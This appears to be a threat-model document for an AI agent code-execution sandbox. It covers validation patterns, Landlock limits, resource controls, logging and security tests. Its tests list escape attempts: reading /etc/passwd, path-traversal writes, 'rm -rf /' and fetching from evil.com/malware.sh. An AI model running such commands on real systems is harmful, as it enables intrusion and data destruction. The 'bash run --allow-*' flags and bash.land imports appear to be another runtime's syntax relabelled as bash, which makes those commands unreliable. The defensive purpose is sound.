This repository has been archived on 2026-06-13. You can view files and clone it, but cannot push or open issues or pull requests.
anvillm/docs/code-execution-security.md

17 KiB

Code Execution Security Documentation

Threat Model

Overview

The code execution pattern allows agents to write and execute bash code in a isolated subprocess. This document analyzes security threats and mitigations.

Trust Boundary

┌─────────────────────────────────────────┐
│ Agent (LLM)                             │
│ - Generates code                        │
│ - Untrusted input                       │
└──────────────┬──────────────────────────┘
               │ bash code
               ↓
┌─────────────────────────────────────────┐
│ Code Validator                          │
│ - Pattern matching                      │
│ - Syntax validation                     │
└──────────────┬──────────────────────────┘
               │ Validated code
               ↓
┌─────────────────────────────────────────┐
│ Subprocess (bash + Landlock)               │
│ - Filesystem restrictions               │
│ - Command whitelist                     │
│ - Resource limits                       │
└──────────────┬──────────────────────────┘
               │ 9P commands
               ↓
┌─────────────────────────────────────────┐
│ 9P Operations                           │
│ - Unix permissions                      │
│ - Audit logging                         │
└─────────────────────────────────────────┘

Threat Categories

  1. Malicious Code Injection: Agent generates harmful code
  2. Subprocess Escape: Code breaks out of subprocess
  3. Resource Exhaustion: Code consumes excessive resources
  4. Data Exfiltration: Code leaks sensitive data
  5. 9P Socket Access: Unauthorized 9P operations
  6. Supply Chain: Malicious dependencies

Threat Analysis

Threat 1: Malicious Code Injection

Description: Agent generates code that attempts to harm the system.

Risk Level: LOW

Attack Vectors:

  • Execute arbitrary commands
  • Delete files
  • Modify system configuration
  • Install malware

Mitigations:

  1. Code Validation: Pattern matching blocks dangerous constructs
func validateCode(code string) error {
    dangerous := []string{
        "bash.exit",      // Process termination
        "bash.kill",      // Kill processes
        "eval(",          // Dynamic code execution
        "Function(",      // Dynamic function creation
        "import(",        // Dynamic imports
        "bash.dlopen",    // Load native libraries
    }
    for _, pattern := range dangerous {
        if strings.Contains(code, pattern) {
            return fmt.Errorf("dangerous pattern: %s", pattern)
        }
    }
    return nil
}
  1. Subprocess Restrictions: bash permissions limit capabilities
bash run \
  --allow-read=/tmp/workspace-123 \
  --allow-run=/usr/bin/9p \
  --allow-env=NAMESPACE,AGENT_ID \
  script.sh
  1. Command Whitelist: Only /usr/bin/9p can be executed

Residual Risk: LOW - Multiple layers of defense

Threat 2: Subprocess Escape

Description: Code breaks out of subprocess to access host system.

Risk Level: LOW

Attack Vectors:

  • Exploit bash vulnerabilities
  • Bypass Landlock restrictions
  • Exploit kernel vulnerabilities

Mitigations:

  1. Landlock LSM: Kernel-enforced filesystem restrictions
// Landlock configuration (kernel-level)
// - Whitelist: /tmp/workspace-*, /usr/bin/9p
// - Deny: Everything else
  1. bash Subprocess: Process-level isolation
  • No network access
  • Limited filesystem access
  • No dynamic code loading
  1. Temporary Workspace: Isolated per execution
workspace := filepath.Join(os.TempDir(), 
    fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano()))
defer os.RemoveAll(workspace)
  1. Regular Updates: Keep bash and kernel patched

Residual Risk: LOW - Kernel-enforced isolation

Threat 3: Resource Exhaustion

Description: Code consumes excessive CPU, memory, or disk.

Risk Level: MEDIUM

Attack Vectors:

  • Infinite loops
  • Memory leaks
  • Large file creation
  • Fork bombs

Mitigations:

  1. Execution Timeout: Hard limit on execution time
ctx, cancel := context.WithTimeout(context.Background(), 
    time.Duration(timeoutSec)*time.Second)
defer cancel()

cmd := exec.CommandContext(ctx, "bash", "run", ...)
  1. Workspace Quota: Limit disk usage
// Set quota on /tmp/workspace-* (future enhancement)
// Current: Rely on /tmp size limits
  1. Output Size Limit: Truncate large outputs
const maxOutputSize = 1024 * 1024  // 1 MB
if len(output) > maxOutputSize {
    output = output[:maxOutputSize]
    output = append(output, []byte("\n[Output truncated]")...)
}
  1. Concurrent Execution Limit: Prevent resource exhaustion
// Semaphore to limit concurrent executions
var executionSem = make(chan struct{}, 4)  // Max 4 concurrent

Residual Risk: MEDIUM - Requires monitoring and tuning

Threat 4: Data Exfiltration

Description: Code leaks sensitive data outside the system.

Risk Level: LOW (Improved from direct tools)

Attack Vectors:

  • Network exfiltration (blocked)
  • Filesystem writes (restricted)
  • Covert channels (timing, errors)

Mitigations:

  1. No Network Access: bash runs without --allow-net
# Network access denied
bash run --allow-net=NONE script.sh
  1. Filesystem Restrictions: Can only write to workspace
bash run --allow-write=/tmp/workspace-123 script.sh
  1. Explicit Logging: Only stdout/stderr returned
// Agent only sees what code prints
output, err := cmd.CombinedOutput()
return string(output), err
  1. Data Isolation: Intermediate data stays in subprocess
// PII never enters model context
const emails = await getCustomerEmails();  // Stays in subprocess
for (const email of emails) {
  await updateCRM({ email: email.address });  // Direct transfer
}
console.log(`Processed ${emails.length} emails`);  // Summary only

Residual Risk: LOW - Better isolation than direct tools

Comparison to Direct Tools:

  • Direct tools: All data flows through model context
  • Code execution: Data stays in subprocess, only summaries returned

Threat 5: 9P Socket Access

Description: Unauthorized access to 9P operations.

Risk Level: MEDIUM (Same as current system)

Attack Vectors:

  • Read sensitive data via 9P
  • Modify system state via 9P
  • Impersonate other agents

Mitigations:

  1. Unix Permissions: Socket access controlled by filesystem
# 9P socket permissions
srwxr-x--- 1 user group 0 /tmp/ns.user.:0/anvilmcp
  1. Agent ID Validation: Operations check agent identity
// Verify agent ID matches session
if agentID != session.AgentID {
    return fmt.Errorf("unauthorized")
}
  1. Audit Logging: All 9P operations logged
log.Printf("9P: agent=%s op=%s path=%s", agentID, op, path)
  1. Operation Whitelist: Only allowed operations exposed
// Only expose safe operations
allowedOps := []string{"read", "write", "ls"}

Residual Risk: MEDIUM - Same as current system

Note: This is not a new risk introduced by code execution. The same 9P access exists with direct tool calls.

Threat 6: Supply Chain

Description: Malicious dependencies in code.

Risk Level: LOW

Attack Vectors:

  • Import malicious npm packages
  • Import compromised bash modules
  • Remote code injection via imports

Mitigations:

  1. No Remote Imports: bash runs without network access
# Remote imports fail
bash run --allow-net=NONE script.sh
# Error: Network access denied
  1. Standard Library Only: Only bash std allowed
// Allowed
import { readLines } from "https://bash.land/std/io/mod.sh";

// Blocked (no network)
import { malicious } from "https://evil.com/malware.sh";
  1. Local Imports Only: Only import from workspace
// Allowed
# Call tools from anvillm/tools/anvilmcp/read_inbox.sh";

// Blocked (outside workspace)
import { evil } from "/etc/passwd";

Residual Risk: LOW - No remote imports possible

Security Benefits vs Direct Tools

Improved Security

  1. Data Isolation: Intermediate data stays in subprocess

    • Direct tools: All data flows through model context
    • Code execution: Data processed in subprocess, summaries only
  2. Privacy Preservation: PII doesn't enter model context

    • Direct tools: PII visible to model
    • Code execution: PII stays in subprocess
  3. Explicit Control: Agent explicitly logs what model sees

    • Direct tools: All tool output visible
    • Code execution: Only console.log output visible

Same Security

  1. 9P Access Control: Unix permissions, audit logging
  2. Process Isolation: Separate processes per agent
  3. Authentication: Agent ID validation

Additional Considerations

  1. Code Validation: New attack surface (pattern matching)
  2. Subprocess Configuration: Complexity in setup
  3. Resource Limits: Requires tuning and monitoring

Subprocess Configuration

bash Permissions

bash run \
  --allow-read=/tmp/workspace-123 \      # Read workspace only
  --allow-write=/tmp/workspace-123 \     # Write workspace only
  --allow-run=/usr/bin/9p \              # Execute 9p only
  --allow-env=NAMESPACE,AGENT_ID \       # Limited env vars
  --no-prompt \                          # No interactive prompts
  script.sh

Landlock Configuration

// Kernel-enforced filesystem restrictions
// Implemented via landlock(7) LSM

type LandlockConfig struct {
    AllowRead  []string  // Paths allowed for reading
    AllowWrite []string  // Paths allowed for writing
    AllowExec  []string  // Paths allowed for execution
}

config := LandlockConfig{
    AllowRead:  []string{"/tmp/workspace-*", "/usr/bin/9p"},
    AllowWrite: []string{"/tmp/workspace-*"},
    AllowExec:  []string{"/usr/bin/9p"},
}

Resource Limits

type ResourceLimits struct {
    TimeoutSec      int    // Max execution time
    MaxOutputBytes  int    // Max output size
    MaxConcurrent   int    // Max concurrent executions
    WorkspaceQuota  int64  // Max workspace size
}

limits := ResourceLimits{
    TimeoutSec:     30,
    MaxOutputBytes: 1024 * 1024,  // 1 MB
    MaxConcurrent:  4,
    WorkspaceQuota: 100 * 1024 * 1024,  // 100 MB
}

Monitoring and Auditing

Execution Logs

type ExecutionLog struct {
    Timestamp   time.Time
    AgentID     string
    CodeHash    string      // SHA256 of code
    Language    string
    Duration    int64       // Milliseconds
    Success     bool
    OutputSize  int
    Error       string
}

Metrics to Monitor

  1. Execution Rate: Executions per minute
  2. Failure Rate: Failed executions / total
  3. Timeout Rate: Timeouts / total
  4. Output Size: Average and max output size
  5. Duration: Average and max execution time

Alerts

  1. High Failure Rate: >10% failures in 5 minutes
  2. Frequent Timeouts: >5 timeouts in 5 minutes
  3. Large Outputs: >1 MB output
  4. Validation Failures: Dangerous patterns detected
  5. Resource Exhaustion: Concurrent limit reached

Audit Trail

// Log all executions
log.Printf("EXEC: agent=%s hash=%s duration=%dms success=%v",
    agentID, codeHash, duration, success)

// Log validation failures
log.Printf("VALIDATION_FAILED: agent=%s pattern=%s",
    agentID, dangerousPattern)

// Log 9P operations from subprocess
log.Printf("9P: agent=%s op=%s path=%s",
    agentID, operation, path)

Incident Response

Detection

  1. Validation Failure: Dangerous pattern detected

    • Action: Block execution, log incident, alert admin
  2. Repeated Timeouts: Same agent timing out repeatedly

    • Action: Rate limit agent, investigate code
  3. Subprocess Escape Attempt: Unexpected filesystem access

    • Action: Kill process, log incident, alert security team
  4. Resource Exhaustion: Concurrent limit reached

    • Action: Queue executions, investigate load

Response Procedures

  1. Immediate: Kill offending process
  2. Short-term: Block agent from code execution
  3. Investigation: Review logs, analyze code
  4. Long-term: Update validation rules, patch vulnerabilities

Security Testing

Unit Tests

func TestCodeValidation(t *testing.T) {
    tests := []struct {
        code      string
        shouldFail bool
    }{
        {"console.log('hello')", false},
        {"bash.exit(1)", true},
        {"eval('malicious')", true},
    }
    
    for _, tt := range tests {
        err := validateCode(tt.code)
        if (err != nil) != tt.shouldFail {
            t.Errorf("validateCode(%q) = %v, want fail=%v",
                tt.code, err, tt.shouldFail)
        }
    }
}

Integration Tests

func TestSubprocessRestrictions(t *testing.T) {
    // Test filesystem restrictions
    code := `bash.writeTextFileSync("/etc/passwd", "hacked")`
    _, err := executeCode(code, "bash", 10)
    if err == nil {
        t.Error("Expected filesystem restriction, got success")
    }
    
    // Test command whitelist
    code = `bash.run({cmd: ["rm", "-rf", "/"]})`
    _, err = executeCode(code, "bash", 10)
    if err == nil {
        t.Error("Expected command restriction, got success")
    }
}

Security Tests

func TestSubprocessEscape(t *testing.T) {
    // Attempt various escape techniques
    escapeAttempts := []string{
        `bash.run({cmd: ["bash", "-c", "cat /etc/passwd"]})`,
        `bash.writeTextFileSync("../../../etc/passwd", "hacked")`,
        `import("https://evil.com/malware.sh")`,
    }
    
    for _, code := range escapeAttempts {
        _, err := executeCode(code, "bash", 10)
        if err == nil {
            t.Errorf("Subprocess escape succeeded: %s", code)
        }
    }
}

Best Practices

For Developers

  1. Validate All Code: Never skip validation
  2. Enforce Timeouts: Always set execution timeout
  3. Limit Output Size: Truncate large outputs
  4. Log Everything: Comprehensive audit trail
  5. Monitor Metrics: Track execution patterns
  6. Update Regularly: Keep bash and kernel patched

For Operators

  1. Review Logs: Regular log analysis
  2. Monitor Alerts: Respond to security alerts
  3. Test Subprocess: Regular security testing
  4. Update Rules: Refine validation patterns
  5. Incident Response: Have procedures ready

For Users

  1. Trust the Subprocess: Don't bypass restrictions
  2. Report Issues: Report suspicious behavior
  3. Follow Guidelines: Use code execution appropriately
  4. Review Output: Check execution results

Comparison to Alternatives

vs Direct Tool Calls

Aspect Direct Tools Code Execution
Data isolation Poor (all in context) Good (subprocess)
Privacy Poor (PII in context) Good (PII isolated)
Attack surface 9P socket 9P socket + subprocess
Resource control Limited Good (timeouts, limits)
Audit trail 9P logs 9P + execution logs

Conclusion: Code execution improves security posture

vs Unrestricted Execution

Aspect Unrestricted Code Execution
Filesystem access Full Restricted (workspace)
Network access Full None
Command execution Any Whitelist (/usr/bin/9p)
Resource limits None Timeouts, quotas
Code validation None Pattern matching

Conclusion: Code execution is significantly more secure

Future Enhancements

Phase 7: Advanced Security

  1. PII Tokenization: Automatic PII detection and masking
  2. Network Access: Controlled network with allowlist
  3. Cryptographic Signing: Sign and verify code
  4. Capability-Based Security: Fine-grained permissions
  5. Anomaly Detection: ML-based threat detection

Phase 8: Compliance

  1. SOC 2 Compliance: Audit controls
  2. GDPR Compliance: Data protection measures
  3. HIPAA Compliance: Healthcare data handling
  4. PCI DSS Compliance: Payment data security

References

Conclusion

The code execution pattern provides strong security through multiple layers:

  1. Code Validation: Block dangerous patterns
  2. bash Subprocess: Process-level isolation
  3. Landlock LSM: Kernel-level enforcement
  4. Resource Limits: Prevent exhaustion
  5. Audit Logging: Comprehensive trail

Security Posture: Code execution improves security compared to direct tool calls by isolating data and providing explicit control over information flow.

Residual Risks: Primarily resource exhaustion (MEDIUM) and 9P access control (MEDIUM, same as current system).

Recommendation: Proceed with implementation. Security benefits outweigh risks.